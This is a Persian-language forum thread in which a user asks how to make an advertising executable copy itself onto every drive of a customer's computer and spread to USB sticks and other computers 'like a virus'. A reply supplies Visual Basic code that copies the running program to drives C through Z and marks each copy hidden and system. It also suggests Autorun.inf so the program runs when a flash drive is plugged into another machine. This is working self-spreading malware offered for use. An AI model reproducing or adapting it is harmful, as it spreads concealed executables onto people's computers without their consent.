View Full Version : نحوه منتشتر کردن یک فایل در همه درایوها با استفاه از حلقه
nasser_pczone
دوشنبه 27 اردیبهشت 1389, 00:36 صبح
با سلام من کارشناس سخت افزار هستم اما امروز یه سوال برام پیش اومد میخام یه فایل تبلیغاتی دفتر خودمون رو با یک کلیک روی همه درایو های مشتری کپی کنیم و همین طور اگه فرض کنیم مشتری فلش بزنه به کامپیوترش فایل اونجا هم کپی بشه و به همین ترتیب روی بقیه کامپیوتر ها هم بره تقریبا چیزی شبیه ویروس kazem_ghez من فایل رو به صورت exe آماده کردم حالا نمی دونم چطوری انتشارش بدم اگه کسی از مهندسین لطف کنه ممنونش میشم
میخام ببینم نرم افزار کارا هم مثل سخت افزار کارا دمشون گرمه یا نه ؟؟؟؟؟؟
saeedvir
دوشنبه 27 اردیبهشت 1389, 09:14 صبح
اين را امتحان كنيد :
Dim fs As New FileSystemObject
Private Sub Form_Load()
On Error Resume Next
dr = 66
For i = 1 To 24
dr2 = Chr(dr + i) & ":\"
' For Copy :
fs.CopyFile App.Path + "\" + App.EXEName + ".exe", dr2
'For Set Attrib :
SetAttr dr2 & App.EXEName + ".exe", vbHidden + vbSystem
Next i
End Sub
براي اينكه وقتي فلش را مي زنيد به يك دستگاه ديگه ويروس اجرا بشه ، از Autorun.inf استفاده مي كنيم
آموزش بيشتر فايل هاي .Autorun در :
http://forum.barname.org/showthread.php?t=14
و
http://forum.barname.org/showthread.php?t=15
vBulletin® v4.2.5, Copyright ©2000-1403, Jelsoft Enterprises Ltd.